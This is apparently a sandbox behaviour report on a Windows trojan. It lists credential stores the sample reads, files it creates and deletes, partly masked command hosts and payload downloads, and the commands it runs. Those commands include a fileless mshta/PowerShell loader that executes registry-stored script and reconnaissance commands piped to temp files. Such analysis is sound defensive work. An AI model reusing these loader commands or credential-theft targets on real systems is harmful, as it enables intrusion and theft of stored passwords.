Technical Information
Malicious functions
Injects code into
the following system processes:
- %WINDIR%\syswow64\cmd.exe
Searches for registry branches where third party applications store passwords
- [<HKCU>\Software\Microsoft\Internet Account Manager]
- [<HKLM>\Software\Microsoft\Windows Mail]
- [<HKCU>\Software\Microsoft\Windows Mail]
- [<HKCU>\Software\Microsoft\Windows Live Mail]
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\]
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\login data
Modifies file system
Creates the following files
- %TEMP%\ubn6pk65.0.cs
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %TEMP%\1b68.bi1
- %HOMEPATH%\contactlocal.ps1
- %HOMEPATH%\chartstop.lnk
- %TEMP%\ml-uf2fd.dll
- %TEMP%\res8bdb.tmp
- %TEMP%\csc8bca.tmp
- %TEMP%\ml-uf2fd.out
- %TEMP%\ml-uf2fd.cmdline
- %TEMP%\ml-uf2fd.0.cs
- %TEMP%\ubn6pk65.dll
- %TEMP%\res88ee.tmp
- %TEMP%\csc88de.tmp
- %TEMP%\ubn6pk65.out
- %TEMP%\ubn6pk65.cmdline
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %TEMP%\5dd8.bin1
Deletes the following files
- %TEMP%\res88ee.tmp
- %TEMP%\csc88de.tmp
- %TEMP%\ubn6pk65.dll
- %TEMP%\ubn6pk65.pdb
- %TEMP%\ubn6pk65.out
- %TEMP%\ubn6pk65.cmdline
- %TEMP%\ubn6pk65.0.cs
- %TEMP%\res8bdb.tmp
- %TEMP%\csc8bca.tmp
- %TEMP%\ml-uf2fd.pdb
- %TEMP%\ml-uf2fd.out
- %TEMP%\ml-uf2fd.dll
- %TEMP%\ml-uf2fd.cmdline
- %TEMP%\ml-uf2fd.0.cs
- %TEMP%\1b68.bi1
Modifies the following files
- %APPDATA%\mozilla\firefox\profiles\gn7ryp3k.default\prefs.js
Deletes itself.
Network activity
Connects to
- 'co####.edge.skype.com':80
- '18#.#54.53.214':80
- '19#.#6.146.189':80
- '18#.#54.53.58':80
TCP
HTTP GET requests
- http://co####.edge.skype.com/drew/ltIBXIYFbwjK09FzwWFI/vxiNH7GAdhwmjM921gz/qelng3ndhOTWn3NWA4V6_2/BdkUgh_2B_2F1/pU0jfyi_/2BBuUF3VNpDEuUziVLyrsqX/IA_2Fuc7F4/PbmUbDNt4MWn3hrg4/gmflfTk8F1oZ/9DmFgt...
- http://18#.#54.53.214/drew/cOGbGOSgHdX/U8oiaGLFFq33xP/gZ_2FXkNMNAsjQVNFM110/zNHgKIBKUpaFdRnS/WsEgI91kWPATvNu/R3hT4oCeBt60xxRZtb/c7zfkkhP8/3RVfJ1MSm6dfhQgtyCCy/pogM8FaxgXRjs5YSK3m/NV6bVb2OPryluZ...
- http://18#.#54.53.214/drew/xH1b6T2EwRQUr/yK1fUD_2/BmR_2B7dptKyc4dKJHr_2Fl/alwLFLZSQH/gJy_2BcVcBarYQ6vG/mUb0p1LZwWYv/VrGiz224vC_/2BhEvhQaCOMRGQ/TR5iZCg_2FvhL2wbx7HNz/GdbCmfOrhs57kHiN/P_2Boey8h_2...
- http://18#.#54.53.214/drew/AlYL0l_2Fnf/vFm9ucHk_2Blej/FT7vd9htFPu2VOdTq2Q7M/fGxZc4L44dIByhP7/WXd2Y2S5T6AwFRs/kNL0f2Yvey6uChaFaa/2odZ98h5S/xXer2W2gXiYtzLcRB1wy/_2F_2BY88wyiaiVpeKq/jMvgH6sVYffajt...
- http://19#.#6.146.189/stilak32.rar
- http://19#.#6.146.189/stilak64.rar
- http://19#.#6.146.189/cook32.rar
- http://19#.#6.146.189/cook64.rar
- http://co####.edge.skype.com/images/PW8kFy1voQ2OS_2/BVwBCHKGG5099PfH34/1H5JsE1jM/v0_2BKHK6p2Q0Mt9_2Bj/I3nzKG3y_2FnhDxiLLk/iEVywteNKCzvUzfFXh5NQO/xK_2F_2FWJAND/npL9AQOm/lmD0pYbGs26X7zRUVp_2F1D/5...
- http://18#.#54.53.58/images/_2F6qtmbEeSk6iGOS5p/8ftxGPK4yqU7LR9b3NH7_2/FRta2KdGlQczS/_2F9j5NI/FXswm7vC4GVlcO7pv3OutDo/_2FIT4iDJu/ZrF_2FcHiJRq7Y4E6/fO85I98h99Jz/4CPcFzu0T8T/A8IQOsdCnJD0Kl/v2hkys...
UDP
- DNS ASK co####.edge.skype.com
- DNS ASK re#####r1.opendns.com
- DNS ASK 22#.###.67.208.in-addr.arpa
- DNS ASK my##.#pendns.com
Miscellaneous
Searches for the following windows
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\mshta.exe' "about:<hta:application><script>Pk45='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Pk45).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\294256E3-74A5-4392-C66D-E8275AF19C4B\\...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' new-alias -name larpta -value gp; new-alias -name fjrnld -value iex; fjrnld ([System.Text.Encoding]::ASCII.GetString((larpta "HKCU:Software\AppDataLow\Software\Microsoft\294256E3-74A5-4392-C66D...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ubn6pk65.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES88EE.tmp" "%TEMP%\CSC88DE.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ml-uf2fd.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8BDB.tmp" "%TEMP%\CSC8BCA.tmp"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C ping localhost -n 5 && del "<Full path to file>"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C pause dll mail, ,' (with hidden window)
Executes the following
- '<SYSTEM32>\mshta.exe' "about:<hta:application><script>Pk45='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Pk45).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\294256E3-74A5-4392-C66D-E8275AF19C4B\\...
- '<SYSTEM32>\tasklist.exe' /SVC
- '<SYSTEM32>\cmd.exe' /C "tasklist.exe /SVC >> %TEMP%\5DD8.bin1"
- '<SYSTEM32>\nslookup.exe' 127.0.0.1
- '<SYSTEM32>\cmd.exe' /C "nslookup 127.0.0.1 >> %TEMP%\5DD8.bin1"
- '<SYSTEM32>\net.exe' view
- '<SYSTEM32>\cmd.exe' /C "net view >> %TEMP%\5DD8.bin1"
- '<SYSTEM32>\cmd.exe' /C "echo -------- >> %TEMP%\5DD8.bin1"
- '%WINDIR%\syswow64\cmd.exe' /C pause dll mail, ,
- '<SYSTEM32>\systeminfo.exe'
- '<SYSTEM32>\cmd.exe' /C "driverquery.exe >> %TEMP%\5DD8.bin1"
- '<SYSTEM32>\cmd.exe' /C "systeminfo.exe > %TEMP%\5DD8.bin1"
- '<SYSTEM32>\ping.exe' localhost -n 5
- '<SYSTEM32>\nslookup.exe' myip.opendns.com resolver1.opendns.com
- '<SYSTEM32>\cmd.exe' /C ping localhost -n 5 && del "<Full path to file>"
- '<SYSTEM32>\cmd.exe' /C "nslookup myip.opendns.com resolver1.opendns.com > %TEMP%\1B68.bi1"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8BDB.tmp" "%TEMP%\CSC8BCA.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ml-uf2fd.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES88EE.tmp" "%TEMP%\CSC88DE.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ubn6pk65.cmdline"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' new-alias -name larpta -value gp; new-alias -name fjrnld -value iex; fjrnld ([System.Text.Encoding]::ASCII.GetString((larpta "HKCU:Software\AppDataLow\Software\Microsoft\294256E3-74A5-4392-C66D...
- '<SYSTEM32>\cmd.exe' /C "echo -------- >> %TEMP%\1B68.bi1"
- '<SYSTEM32>\driverquery.exe'
